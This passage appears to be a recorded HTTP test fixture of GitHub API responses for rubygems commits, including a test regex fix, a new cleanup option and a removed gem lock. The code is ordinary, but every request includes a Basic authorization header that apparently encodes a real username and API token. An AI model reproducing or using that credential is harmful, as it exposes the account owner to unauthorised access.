''{*,.*}'')]).\n select{|f| !File.directory?(f)}\n end\n end\n \n # for cleanup old bundler files\n def template_files_in dir\n Dir.chdir dir do\n- (Dir[File.join(''templates'', ''**'', ''*'')] + Dir[File.join(''templates'', ''**'', ''.*'')]).\n+ (Dir[File.join(''templates'', ''**'', ''{*,.*}'')]).\n select{|f| !File.directory?(f)}\n end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:55 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:56 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4493' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5b305cfa9f7525ad8df63118fc9e5a8e" Last-Modified: - Thu, 16 Nov 2017 15:25:31 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045290' X-Github-Request-Id: - A254:4D95:F47DD1:1C8367C:5A50E46B body: encoding: ASCII-8BIT string: '{"sha":"309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-16T15:25:31Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-16T15:25:31Z"},"message":"Auto merge of #2079 - duckinator:fix-alpine-test-failures, r=hsbt\n\nFix test failure on Alpine Linux.\n\n# Description:\n\nFixes a test failure on Alpine Linux. The test failure was due to a regular expression that didn''t match the output of `sh` on Alpine.\n\nFixes #2075.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"cffcb0eb93b55bf91f3ccd1e5637b529f4302577","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cffcb0eb93b55bf91f3ccd1e5637b529f4302577"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","html_url":"https://github.com/rubygems/rubygems/commit/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"81017f8a655525246b67cafd6e4485b83e53037a","url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a","html_url":"https://github.com/rubygems/rubygems/commit/81017f8a655525246b67cafd6e4485b83e53037a"},{"sha":"df26503495885b2afefc991ceb7cb3e8090e4e41","url":"https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41","html_url":"https://github.com/rubygems/rubygems/commit/df26503495885b2afefc991ceb7cb3e8090e4e41"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"cf7559d56c1c8554ef9a289c116a4c85bd40fb92","filename":"test/rubygems/test_gem_ext_configure_builder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8/test/rubygems/test_gem_ext_configure_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8/test/rubygems/test_gem_ext_configure_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_configure_builder.rb?ref=309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","patch":"@@ -54,7 +54,7 @@ def test_self_build_fail\n end\n end\n \n- shell_error_msg = %r{(\\./configure: .*)|((?:Can''t|cannot) open \\./configure(?:: No such file or directory)?)}\n+ shell_error_msg = %r{(\\./configure: .*)|((?:[Cc]an''t|cannot) open ''?\\./configure''?(?:: No such file or directory)?)}\n sh_prefix_configure = \"sh ./configure --prefix=\"\n \n assert_match ''configure failed'', error.message"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:56 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:56 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4492' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"28b13c68e2159f2ade958228997af6ac" Last-Modified: - Thu, 16 Nov 2017 14:01:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050173' X-Github-Request-Id: - A256:4D96:97165A:13A379B:5A50E46C body: encoding: ASCII-8BIT string: '{"sha":"df26503495885b2afefc991ceb7cb3e8090e4e41","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-11-16T14:01:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-11-16T14:01:09Z"},"message":"Fix test failure on Alpine Linux.\n\nTest failure was due to a regular expression that doesn''t match the\noutput of `sh` on Alpine.","tree":{"sha":"cffcb0eb93b55bf91f3ccd1e5637b529f4302577","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cffcb0eb93b55bf91f3ccd1e5637b529f4302577"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/df26503495885b2afefc991ceb7cb3e8090e4e41","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41","html_url":"https://github.com/rubygems/rubygems/commit/df26503495885b2afefc991ceb7cb3e8090e4e41","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/df26503495885b2afefc991ceb7cb3e8090e4e41/comments","author":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"81017f8a655525246b67cafd6e4485b83e53037a","url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a","html_url":"https://github.com/rubygems/rubygems/commit/81017f8a655525246b67cafd6e4485b83e53037a"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"cf7559d56c1c8554ef9a289c116a4c85bd40fb92","filename":"test/rubygems/test_gem_ext_configure_builder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/df26503495885b2afefc991ceb7cb3e8090e4e41/test/rubygems/test_gem_ext_configure_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/df26503495885b2afefc991ceb7cb3e8090e4e41/test/rubygems/test_gem_ext_configure_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_configure_builder.rb?ref=df26503495885b2afefc991ceb7cb3e8090e4e41","patch":"@@ -54,7 +54,7 @@ def test_self_build_fail\n end\n end\n \n- shell_error_msg = %r{(\\./configure: .*)|((?:Can''t|cannot) open \\./configure(?:: No such file or directory)?)}\n+ shell_error_msg = %r{(\\./configure: .*)|((?:[Cc]an''t|cannot) open ''?\\./configure''?(?:: No such file or directory)?)}\n sh_prefix_configure = \"sh ./configure --prefix=\"\n \n assert_match ''configure failed'', error.message"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:56 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:56 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4491' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2ad34dfe9b653b981ae9592d91a745e9" Last-Modified: - Mon, 13 Nov 2017 23:54:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040462' X-Github-Request-Id: - C528:4D97:903693:1C473BF:5A50E46C body: encoding: ASCII-8BIT string: '{"sha":"81017f8a655525246b67cafd6e4485b83e53037a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-13T23:54:41Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-13T23:54:41Z"},"message":"Auto merge of #2061 - godfat:cleanup-dev, r=segiddins\n\nAdd --[no-]check-development option to cleanup command\n\nDefault to check so it keeps backward compatibility.\n\n# Description:\n\nI just realized that there''s no way to force cleaning up gems without checking development dependency. I wish at least we have an option:\n\n```\ngem cleanup --no-check-development\n```\n\nThis is a bit too verbose to my taste, but to make it backward compatible and consistent with the uninstall command, this is probably the way to do it.\n\nThanks for reviewing.\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"6d38850038035aadf9f474a5b13026be7df0af5f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6d38850038035aadf9f474a5b13026be7df0af5f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/81017f8a655525246b67cafd6e4485b83e53037a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a","html_url":"https://github.com/rubygems/rubygems/commit/81017f8a655525246b67cafd6e4485b83e53037a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/81017f8a655525246b67cafd6e4485b83e53037a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"76ef5bbd70c54bbd7196813ab121bc040082a79e","url":"https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e","html_url":"https://github.com/rubygems/rubygems/commit/76ef5bbd70c54bbd7196813ab121bc040082a79e"},{"sha":"47be81b6bb29ef9843545f5b58cd25389555c1fd","url":"https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd","html_url":"https://github.com/rubygems/rubygems/commit/47be81b6bb29ef9843545f5b58cd25389555c1fd"}],"stats":{"total":54,"additions":52,"deletions":2},"files":[{"sha":"79c23c840d11151d7fb8dac606b34ccc76ecac87","filename":"lib/rubygems/commands/cleanup_command.rb","status":"modified","additions":9,"deletions":2,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/81017f8a655525246b67cafd6e4485b83e53037a/lib/rubygems/commands/cleanup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/81017f8a655525246b67cafd6e4485b83e53037a/lib/rubygems/commands/cleanup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/cleanup_command.rb?ref=81017f8a655525246b67cafd6e4485b83e53037a","patch":"@@ -8,13 +8,20 @@ class Gem::Commands::CleanupCommand < Gem::Command\n def initialize\n super ''cleanup'',\n ''Clean up old versions of installed gems'',\n- :force => false, :install_dir => Gem.dir\n+ :force => false, :install_dir => Gem.dir,\n+ :check_dev => true\n \n add_option(''-n'', ''-d'', ''--dryrun'',\n ''Do not uninstall gems'') do |value, options|\n options[:dryrun] = true\n end\n \n+ add_option(''-D'', ''--[no-]check-development'',\n+ ''Check development dependencies while uninstalling'',\n+ ''(default: true)'') do |value, options|\n+ options[:check_dev] = value\n+ end\n+\n @candidate_gems = nil\n @default_gems = []\n @full = nil\n@@ -138,7 +145,7 @@ def get_primary_gems\n end\n \n def uninstall_dep spec\n- return unless @full.ok_to_remove?(spec.full_name)\n+ return unless @full.ok_to_remove?(spec.full_name, options[:check_dev])\n \n if options[:dryrun] then\n say \"Dry Run Mode: Would uninstall #{spec.full_name}\""},{"sha":"c55e1959758448a2010f8d3858b79629be8a805d","filename":"test/rubygems/test_gem_commands_cleanup_command.rb","status":"modified","additions":43,"deletions":0,"changes":43,"blob_url":"https://github.com/rubygems/rubygems/blob/81017f8a655525246b67cafd6e4485b83e53037a/test/rubygems/test_gem_commands_cleanup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/81017f8a655525246b67cafd6e4485b83e53037a/test/rubygems/test_gem_commands_cleanup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_cleanup_command.rb?ref=81017f8a655525246b67cafd6e4485b83e53037a","patch":"@@ -32,6 +32,21 @@ def test_handle_options_n\n assert @cmd.options[:dryrun]\n end\n \n+ def test_handle_options_check_development\n+ @cmd.handle_options []\n+ assert @cmd.options[:check_dev]\n+\n+ %w[-D --check-development].each do |options|\n+ @cmd.handle_options [options]\n+ assert @cmd.options[:check_dev]\n+ end\n+\n+ %w[--no-check-development].each do |options|\n+ @cmd.handle_options [options]\n+ refute @cmd.options[:check_dev]\n+ end\n+ end\n+\n def test_execute\n @cmd.options[:args] = %w[a]\n \n@@ -55,6 +70,34 @@ def test_execute_all_dependencies\n refute_path_exists @b_1.gem_dir\n end\n \n+ def test_execute_dev_dependencies\n+ @b_1 = util_spec ''b'', 1 do |s| s.add_development_dependency ''a'', ''1'' end\n+ @c_1 = util_spec ''c'', 1 do |s| s.add_development_dependency ''a'', ''2'' end\n+\n+ install_gem @b_1\n+ install_gem @c_1\n+\n+ @cmd.handle_options %w[--check-development]\n+\n+ @cmd.execute\n+\n+ assert_path_exists @a_1.gem_dir\n+ end\n+\n+ def test_execute_without_dev_dependencies\n+ @b_1 = util_spec ''b'', 1 do |s| s.add_development_dependency ''a'', ''1'' end\n+ @c_1 = util_spec ''c'', 1 do |s| s.add_development_dependency ''a'', ''2'' end\n+\n+ install_gem @b_1\n+ install_gem @c_1\n+\n+ @cmd.handle_options %w[--no-check-development]\n+\n+ @cmd.execute\n+\n+ refute_path_exists @a_1.gem_dir\n+ end\n+\n def test_execute_all\n gemhome2 = File.join @tempdir, ''gemhome2''\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:56 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:56 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4490' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"514ddb9fba94bb0d729fc7d05e99c3e6" Last-Modified: - Fri, 10 Nov 2017 03:53:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054601' X-Github-Request-Id: - A25A:4D95:F47E04:1C836C8:5A50E46C body: encoding: ASCII-8BIT string: '{"sha":"76ef5bbd70c54bbd7196813ab121bc040082a79e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-10T03:53:13Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-10T03:53:13Z"},"message":"Auto merge of #2074 - rubygems:remove-needless-gem-lock, r=segiddins\n\nRemoved needless version lock\n\n`gem \"rdoc\"` on test_gem_commands_update_command.rb sometimes fails parallel tests on ruby core ci environment. This code was added for removing warning message on test runner at 7 years ago. ( https://github.com/rubygems/rubygems/commit/674eae6a7074a81aee60f7a74a6576fe6006be99 )","tree":{"sha":"b85686adc252795f86cedbabfe68721509240394","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b85686adc252795f86cedbabfe68721509240394"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e","html_url":"https://github.com/rubygems/rubygems/commit/76ef5bbd70c54bbd7196813ab121bc040082a79e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"},{"sha":"907bb798a1700e637cb966bf3027b85103f57e79","url":"https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79","html_url":"https://github.com/rubygems/rubygems/commit/907bb798a1700e637cb966bf3027b85103f57e79"}],"stats":{"total":6,"additions":0,"deletions":6},"files":[{"sha":"fa444fa32f0bdcdec246cb22260bf7cc936c6ec1","filename":"test/rubygems/test_gem_commands_update_command.rb","status":"modified","additions":0,"deletions":6,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/76ef5bbd70c54bbd7196813ab121bc040082a79e/test/rubygems/test_gem_commands_update_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/76ef5bbd70c54bbd7196813ab121bc040082a79e/test/rubygems/test_gem_commands_update_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_update_command.rb?ref=76ef5bbd70c54bbd7196813ab121bc040082a79e","patch":"@@ -2,12 +2,6 @@\n require ''rubygems/test_case''\n require ''rubygems/commands/update_command''\n \n-begin\n- gem \"rdoc\"\n-rescue Gem::LoadError\n- # ignore\n-end\n-\n class TestGemCommandsUpdateCommand < Gem::TestCase\n \n def setup"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:56 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:56 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4489' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"697c573f0060869038a76d251ef51de3" Last-Modified: - Fri, 10 Nov 2017 02:56:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff 